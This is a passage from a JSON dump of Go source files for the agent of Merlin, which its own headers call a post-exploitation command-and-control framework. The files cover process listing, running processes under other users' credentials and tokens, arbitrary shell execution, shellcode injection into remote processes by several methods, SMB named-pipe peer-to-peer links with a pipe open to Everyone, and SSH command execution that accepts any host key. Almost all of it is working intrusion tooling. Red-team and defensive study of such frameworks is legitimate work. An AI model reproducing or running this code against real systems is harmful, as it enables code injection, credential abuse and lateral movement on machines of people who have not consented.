!= nil {\n\t\treturn nil, err\n\t}\n\n\tresults := make([]Process1, 0, 50)\n\tfor {\n\t\tresults = append(results, newWindowsProcess(&entry))\n\n\t\terr = syscall.Process32Next(handle, &entry)\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn results, nil\n}\n\n// PS is only a valid function on Windows agents...for now\nfunc PS() jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering PS()...\"))\n\tvar results jobs.Results\n\n\t// Setup OS environment, if any\n\terr := Setup()\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn results\n\t}\n\tdefer TearDown()\n\n\tprocessList, err := getProcesses()\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"\\nthere was an error calling the ps command: %s\", err)\n\t\treturn results\n\t}\n\n\tresults.Stdout = fmt.Sprintf(\"\\nPID\\tPPID\\tARCH\\tOWNER\\tEXE\\n\")\n\tfor x := range processList {\n\t\tvar process Process1\n\t\tprocess = processList[x]\n\t\tresults.Stdout += fmt.Sprintf(\"%d\\t%d\\t%s\\t%s\\t%s\\n\", process.Pid(), process.PPid(), process.Arch(), process.Owner(), process.Executable())\n\t}\n\treturn results\n}\n"
  },
  {
    "path": "commands/runas.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t\"fmt\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// RunAs creates a new process as the provided user\nfunc RunAs(cmd jobs.Command) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering RunAs() with %+v\", cmd))\n\treturn jobs.Results{\n\t\tStderr: \"the RunAs command is not supported by this agent type\",\n\t}\n}\n"
  },
  {
    "path": "commands/runas_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"strings\"\n\t\"syscall\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/processes\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens\"\n)\n\n// RunAs creates a new process as the provided user\nfunc RunAs(cmd jobs.Command) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering RunAs() with %+v\", cmd))\n\n\t// Username, Password, Application, Arguments\n\tif len(cmd.Args) < 3 {\n\t\tresults.Stderr = fmt.Sprintf(\"expected 3+ arguments, received %d for RunAs command\", len(cmd.Args))\n\t\treturn\n\t}\n\n\tusername := cmd.Args[0]\n\tpassword := cmd.Args[1]\n\tapplication := cmd.Args[2]\n\tvar arguments string\n\tif len(cmd.Args) > 3 {\n\t\targuments = strings.Join(cmd.Args[3:], \" \")\n\t}\n\n\t// Determine if running as SYSTEM\n\tu, err := tokens.GetTokenUsername(windows.GetCurrentProcessToken())\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\t// If we are running as SYSTEM, we can't call CreateProcess, must call LogonUserA -> CreateProcessAsUserA/CreateProcessWithTokenW\n\tif u == \"NT AUTHORITY\\\\SYSTEM\" {\n\t\thToken, err2 := tokens.LogonUser(username, password, \"\", tokens.LOGON32_LOGON_INTERACTIVE, tokens.LOGON32_PROVIDER_DEFAULT)\n\t\tif err2 != nil {\n\t\t\tresults.Stderr = err2.Error()\n\t\t\treturn\n\t\t}\n\t\t//results.Stdout, results.Stderr = tokens.CreateProcessWithToken(hToken, application, strings.Split(arguments, \" \"))\n\t\tvar args []string\n\t\tif len(cmd.Args) > 3 {\n\t\t\targs = cmd.Args[3:]\n\t\t}\n\n\t\tattr := &syscall.SysProcAttr{\n\t\t\tHideWindow: true,\n\t\t\tToken:      syscall.Token(hToken),\n\t\t}\n\t\tresults.Stdout, results.Stderr = executeCommandWithAttributes(application, args, attr)\n\t\treturn\n\t}\n\n\tresults.Stdout, results.Stderr = processes.CreateProcessWithLogon(username, \"\", password, application, arguments, processes.LOGON_WITH_PROFILE, true)\n\n\treturn\n}\n"
  },
  {
    "path": "commands/shell.go",
    "content": "//go:build !linux && !windows && !darwin && !freebsd\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n)\n\n// shell is used to execute a command on a host using the operating system's default shell\nfunc shell(args []string) (stdout string, stderr string) {\n\treturn \"\", fmt.Sprintf(\"the default shell for the %s operating system is unknown, use the \\\"run\\\" command instead\", runtime.GOOS)\n}\n"
  },
  {
    "path": "commands/shell_darwin.go",
    "content": "//go:build darwin\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t\"fmt\"\n\t\"os/exec\"\n\t\"strings\"\n)\n\n// shell is used to execute a command on a host using the operating system's default shell\nfunc shell(args []string) (stdout string, stderr string) {\n\tcmd := exec.Command(\"/bin/sh\", append([]string{\"-c\"}, strings.Join(args, \" \"))...) // #nosec G204\n\n\tout, err := cmd.CombinedOutput()\n\tif cmd.Process != nil {\n\t\tstdout = fmt.Sprintf(\"Created /bin/sh process with an ID of %d\\n\", cmd.Process.Pid)\n\t}\n\tstdout += string(out)\n\tstderr = \"\"\n\n\tif err != nil {\n\t\tstderr = err.Error()\n\t}\n\n\treturn stdout, stderr\n}\n"
  },
  {
    "path": "commands/shell_freebsd.go",
    "content": "//go:build freebsd\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t\"fmt\"\n\t\"os/exec\"\n\t\"strings\"\n)\n\n// shell is used to execute a command on a host using the operating system's default shell\nfunc shell(args []string) (stdout string, stderr string) {\n\tcmd := exec.Command(\"/bin/sh\", append([]string{\"-c\"}, strings.Join(args, \" \"))...) // #nosec G204\n\n\tout, err := cmd.CombinedOutput()\n\tif cmd.Process != nil {\n\t\tstdout = fmt.Sprintf(\"Created /bin/sh process with an ID of %d\\n\", cmd.Process.Pid)\n\t}\n\tstdout += string(out)\n\n\tif err != nil {\n\t\tstderr = err.Error()\n\t}\n\n\treturn stdout, stderr\n}\n"
  },
  {
    "path": "commands/shell_linux.go",
    "content": "//go:build linux\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t\"fmt\"\n\t\"os/exec\"\n\t\"strings\"\n)\n\n// shell is used to execute a command on a host using the operating system's default shell\nfunc shell(args []string) (stdout string, stderr string) {\n\tcmd := exec.Command(\"/bin/sh\", append([]string{\"-c\"}, strings.Join(args, \" \"))...) // #nosec G204\n\n\tout, err := cmd.CombinedOutput()\n\tif cmd.Process != nil {\n\t\tstdout = fmt.Sprintf(\"Created /bin/sh process with an ID of %d\\n\", cmd.Process.Pid)\n\t}\n\tstdout += string(out)\n\tstderr = \"\"\n\n\tif err != nil {\n\t\tstderr = err.Error()\n\t}\n\n\treturn stdout, stderr\n}\n"
  },
  {
    "path": "commands/shell_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t\"os\"\n\t\"strings\"\n)\n\n// shell is used to execute a command on a host using the operating system's default shell\nfunc shell(args []string) (stdout string, stderr string) {\n\tvar shell string\n\tvar arguments []string\n\tif s, ok := os.LookupEnv(\"COMSPEC\"); ok {\n\t\tshell = s\n\t\tif strings.Contains(s, \"cmd.exe\") {\n\t\t\targuments = []string{\"/c\"}\n\t\t} else if strings.Contains(s, \"powershell.exe\") {\n\t\t\targuments = []string{\"-Command\"}\n\t\t}\n\t} else {\n\t\tshell = \"cmd.exe\"\n\t\targuments = []string{\"/c\"}\n\t}\n\treturn executeCommand(shell, append(arguments, args...))\n}\n"
  },
  {
    "path": "commands/shellcode.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"encoding/base64\"\n\t\"fmt\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// ExecuteShellcode instructs the agent to load and run shellcode according to the input job\nfunc ExecuteShellcode(cmd jobs.Shellcode) jobs.Results {\n\tvar results jobs.Results\n\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Received input parameter for executeShellcode function: %+v\", cmd))\n\n\tshellcodeBytes, errDecode := base64.StdEncoding.DecodeString(cmd.Bytes)\n\n\tif errDecode != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"there was an error decoding the shellcode Base64 string:\\r\\n%s\", errDecode)\n\t\tcli.Message(cli.WARN, results.Stderr)\n\t\treturn results\n\t}\n\n\tcli.Message(cli.INFO, fmt.Sprintf(\"Shelcode execution method: %s, size: %d\", cmd.Method, len(shellcodeBytes)))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Shellcode %x\", shellcodeBytes))\n\n\tswitch cmd.Method {\n\tcase \"self\":\n\t\terr := ExecuteShellcodeSelf(shellcodeBytes)\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error executing shellcode with the \\\"self\\\" method:\\r\\n%s\", err)\n\t\t}\n\tcase \"remote\":\n\t\terr := ExecuteShellcodeRemote(shellcodeBytes, cmd.PID)\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error executing shellcode with the \\\"remote\\\" method:\\r\\n%s\", err)\n\t\t}\n\tcase \"rtlcreateuserthread\":\n\t\terr := ExecuteShellcodeRtlCreateUserThread(shellcodeBytes, cmd.PID)\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error executing shellcode with the \\\"rtlcreateuserthread\\\" method:\\r\\n%s\", err)\n\t\t}\n\tcase \"userapc\":\n\t\terr := ExecuteShellcodeQueueUserAPC(shellcodeBytes, cmd.PID)\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error executing shellcode with the \\\"userapc\\\" method:\\r\\n%s\", err)\n\t\t}\n\tdefault:\n\t\tresults.Stderr = fmt.Sprintf(\"invalid shellcode execution method: %s\", cmd.Method)\n\t}\n\tif results.Stderr == \"\" {\n\t\tresults.Stdout = fmt.Sprintf(\"Shellcode %s method successfully executed\", cmd.Method)\n\t}\n\n\tif results.Stderr == \"\" {\n\t\tcli.Message(cli.SUCCESS, results.Stdout)\n\t} else {\n\t\tcli.Message(cli.WARN, results.Stderr)\n\t}\n\treturn results\n}\n"
  },
  {
    "path": "commands/smb.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"runtime\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// This smb.go file is part of the \"link\" command and is not a standalone command\n\n// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent\nfunc ConnectSMB(host, pipe string) (results jobs.Results) {\n\tresults.Stderr = fmt.Sprintf(\"commands/smb.ConnectSMB(): this function is not supported by the %s operating system\", runtime.GOOS)\n\treturn\n}\n\n// ListenSMB binds to the provided named pipe and listens for incoming SMB connections\nfunc ListenSMB(pipe string) error {\n\treturn fmt.Errorf(\"commands/smb.ListenSMB(): this function is not supported by the %s operating system\", runtime.GOOS)\n}\n"
  },
  {
    "path": "commands/smb_windows.go",
    "content": "//go:build windows\n\n// This smb.go file is part of the \"link\" command and is not a standalone command\n\npackage commands\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/gob\"\n\t\"fmt\"\n\t\"net\"\n\t\"time\"\n\t\"unsafe\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// 3rd Party\n\t\"github.com/Ne0nd0g/npipe\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/p2p\"\n)\n\n// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent\nfunc ConnectSMB(host, pipe string) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/smb.ConnectSMB(): entering into function with network: %s, pipe: %s\", host, pipe))\n\n\t// Validate incoming arguments\n\t// The period is used to signify \"this host\"\n\tif host != \".\" {\n\t\t_, err := net.ResolveTCPAddr(\"tcp\", fmt.Sprintf(\"%s:445\", host))\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"commands.smb.ConnectSMB(): there was an error validating the input network address: %s\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\taddress := fmt.Sprintf(\"\\\\\\\\%s\\\\pipe\\\\%s\", host, pipe)\n\n\t// Establish connection to downstream agent\n\tconn, err := npipe.Dial(address)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"commands/smb.ConnectSMB(): there was an error attempting to link the agent: %s\", err.Error())\n\t\treturn\n\t}\n\n\tvar n int\n\tvar tag uint32\n\tvar length uint64\n\tvar buff bytes.Buffer\n\tfor {\n\t\tdata := make([]byte, 4096)\n\t\t// Need to have a read on the network connection for data here in this function to retrieve the linked Agent's ID so the linkedAgent structure can be stored\n\t\tn, err = conn.Read(data)\n\t\tif err != nil {\n\t\t\tmsg := fmt.Sprintf(\"there was an error reading data from linked agent %s: %s\", address, err)\n\t\t\tresults.Stderr = msg\n\t\t\tcli.Message(cli.WARN, msg)\n\t\t\treturn\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/link.ConnectSMB(): Read %d bytes from linked %s agent %s at %s\", n, p2p.String(p2p.SMBBIND), address, time.Now().UTC().Format(time.RFC3339)))\n\n\t\t// Add the bytes to the buffer\n\t\tn, err = buff.Write(data[:n])\n\t\tif err != nil {\n\t\t\tmsg := fmt.Sprintf(\"commands/link.ConnectSMB(): there was an error writing %d bytes from linked agent into the buffer %s: %s\", n, address, err)\n\t\t\tresults.Stderr = msg\n\t\t\tcli.Message(cli.WARN, msg)\n\t\t\treturn\n\t\t}\n\n\t\t// If this is the first read on the connection determine the tag and data length\n\t\tif tag == 0 {\n\t\t\t// Ensure we have enough data to read the tag/type which is 4-bytes\n\t\t\tif buff.Len() < 4 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/link.ConnectSMB(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttag = binary.BigEndian.Uint32(data[:4])\n\t\t\tif tag != 1 {\n\t\t\t\tmsg := fmt.Sprintf(\"commands/link.ConnectSMB(): Expected a type/tag value of 1 for TLV but got %d\", tag)\n\t\t\t\tresults.Stderr = msg\n\t\t\t\tcli.Message(cli.WARN, msg)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif length == 0 {\n\t\t\t// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size\n\t\t\tif buff.Len() < 12 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"command/link.ConnectSMB(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlength = binary.BigEndian.Uint64(data[4:12])\n\t\t}\n\n\t\t// If we've read all the data according to the length provided in TLV, then break the for loop\n\t\t// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV\n\t\tif uint64(buff.Len()) == length+4+8 {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"command/link.ConnectSMB(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data\", length))\n\t\t\tbreak\n\t\t} else {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"command/link.ConnectSMB(): Read %d of %d bytes into the buffer\", buff.Len(), length+4+8))\n\t\t}\n\t}\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Read %d bytes from linked %s agent %s at %s\", buff.Len(), p2p.String(p2p.SMBBIND), address, time.Now().UTC().Format(time.RFC3339)))\n\n\t// Decode GOB from server response into Base\n\tvar msg messages.Delegate\n\t// First 4-bytes are for the Type/Tag, next 8-bytes are for the Length in TLV\n\treader := bytes.NewReader(buff.Bytes()[12:])\n\n\terrD := gob.NewDecoder(reader).Decode(&msg)\n\tif errD != nil {\n\t\terr = fmt.Errorf(\"there was an error decoding the gob message: %s\", errD)\n\t\treturn\n\t}\n\n\t// Store LinkedAgent\n\tlink := p2p.NewLink(msg.Agent, msg.Listener, conn, p2p.SMBBIND, conn.RemoteAddr())\n\tpeerToPeerService.AddLink(link)\n\n\tpeerToPeerService.AddDelegate(msg)\n\n\tresults.Stdout = fmt.Sprintf(\"Successfully connected to %s Agent %s at %s\", link.String(), msg.Agent, address)\n\n\t// The listen function is in commands/listen.go\n\tgo listen(conn, p2p.SMBBIND)\n\treturn\n}\n\n// ListenSMB binds to the provided named pipe and listens for incoming SMB connections\nfunc ListenSMB(pipe string) error {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/smb.ListenSMB(): entering into function with pipe: %s\", pipe))\n\taddr := fmt.Sprintf(\"\\\\\\\\.\\\\pipe\\\\%s\", pipe)\n\n\t// Create the security descriptor\n\t// D = Discretionary Access List (DACL)\n\t// A = Allow\n\t// FA = FILE_ALL_ACCESS, FR = FILE_GENERIC_READ\n\t// https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings\n\t// SY = SYSTEM, BA = BUILT-IN ADMINISTRATORS, CO = CREATOR OWNER, WD = EVERYONE, AN = ANONYMOUS\n\t// https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings\n\t// Leave the Owner \"O:\" off, and it will be set to the user that created the named pipe by default\n\t// Leave the Group \"G:\" off, and it will be set to the \"None\" group by default\n\tsddl := \"D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;CO)(A;;FA;;;WD)(A;;FR;;;AN)\"\n\n\tvar sd *windows.SECURITY_DESCRIPTOR\n\tvar err error\n\tsd, err = windows.SecurityDescriptorFromString(sddl)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"commands/smb.ListenSMB(): there was an error converting the SDDL string \\\"%s\\\" to a SECURITY_DESCRIPTOR: %s\", sddl, err)\n\t}\n\n\t// Create the Security Attributes\n\t// https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)\n\tsa := windows.SecurityAttributes{\n\t\tLength:             uint32(unsafe.Sizeof(sd)),\n\t\tSecurityDescriptor: sd,\n\t\tInheritHandle:      1,\n\t}\n\n\tmode := windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED | windows.FILE_FLAG_FIRST_PIPE_INSTANCE\n\tlistener, err := npipe.NewPipeListener(addr, uint32(mode), windows.PIPE_TYPE_BYTE, windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa)\n\tif err != nil {\n\t\t// Try again without FILE_FLAG_FIRST_PIPE_INSTANCE\n\t\tmode = windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED\n\t\tlistener, err = npipe.NewPipeListener(addr, uint32(mode), windows.PIPE_TYPE_BYTE, windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"clients/smb.Connect(): there was an error listening on %s: %s\", addr, err)\n\t\t}\n\t}\n\n\t// Add to global listeners\n\tvar ok bool\n\tvar l p2pListener\n\tfor _, l = range p2pListeners {\n\t\tif l.Type == SMB {\n\t\t\t// Check to see if there is already a p2pListener in the map for this address\n\t\t\tif listener.Addr() == l.Listener.(net.Listener).Addr() {\n\t\t\t\tok = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif !ok {\n\t\tl = p2pListener{\n\t\t\tAddr:     listener.Addr().String(),\n\t\t\tListener: listener,\n\t\t\tType:     SMB,\n\t\t}\n\t\tp2pListeners = append(p2pListeners, l)\n\t}\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Started SMB listener on %s and waiting for a connection...\", addr))\n\n\t// Listen for initial connection from upstream agent\n\tgo accept(listener, p2p.SMBREVERSE)\n\treturn nil\n}\n"
  },
  {
    "path": "commands/ssh.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n\n\t// X Packages\n\t\"golang.org/x/crypto/ssh\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// SSH executes a command on a remote host using the SSH protocol and does not provide an interactive session\nfunc SSH(command jobs.Command) (results jobs.Results) {\n\t// 1. User, 2. Pass, 3. Host:Port, 4. Command\n\tif len(command.Args) < 4 {\n\t\tresults.Stderr = fmt.Sprintf(\"expected 4 or more arguments, received %d\", len(command.Args))\n\t\treturn\n\t}\n\n\tuser := command.Args[0]\n\tpass := command.Args[1]\n\thost := command.Args[2]\n\tcmd := strings.Join(command.Args[3:], \" \")\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.Password(pass),\n\t\t},\n\t\tHostKeyCallback: ssh.HostKeyCallback(func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\tresults.Stdout = fmt.Sprintf(\"Connected to %s at %s with public key %s\\n\", hostname, remote.String(), key.Type()+\" \"+base64.StdEncoding.EncodeToString(key.Marshal()))\n\t\t\treturn nil\n\t\t}),\n\t}\n\n\tsshClient, err := ssh.Dial(\"tcp\", host, config)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling ssh.Dial: %s\", err)\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\terr2 := sshClient.Close()\n\t\tif err2 != nil {\n\t\t\tresults.Stderr += fmt.Sprintf(\"there was an error closing the SSH client: %s\\n\", err2)\n\t\t}\n\t}()\n\n\tsshSession, err := sshClient.NewSession()\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"\\nthere was an error calling SSH Client NewSession(): %s\", err)\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\terr2 := sshSession.Close()\n\t\tif err2 != nil && err2 != io.EOF {\n\t\t\tresults.Stderr = fmt.Sprintf(\"\\nthere was an error closing the SSH session: %s\\n\", err2)\n\t\t}\n\t}()\n\n\tvar stdoutBuffer bytes.Buffer\n\tvar stderrBuffer bytes.Buffer\n\n\tsshSession.Stdout = io.Writer(&stdoutBuffer)\n\tsshSession.Stderr = io.Writer(&stderrBuffer)\n\n\terr = sshSession.Run(cmd)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling SSH Session Run(): %s\", err)\n\t\treturn\n\t}\n\n\tresults.Stdout += stdoutBuffer.String()\n\tresults.Stderr = stderrBuffer.String()\n\treturn\n}\n"
  },
  {
    "path": "commands/tokens.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// Token is the entrypoint for Jobs that are processed to determine which Token function should be 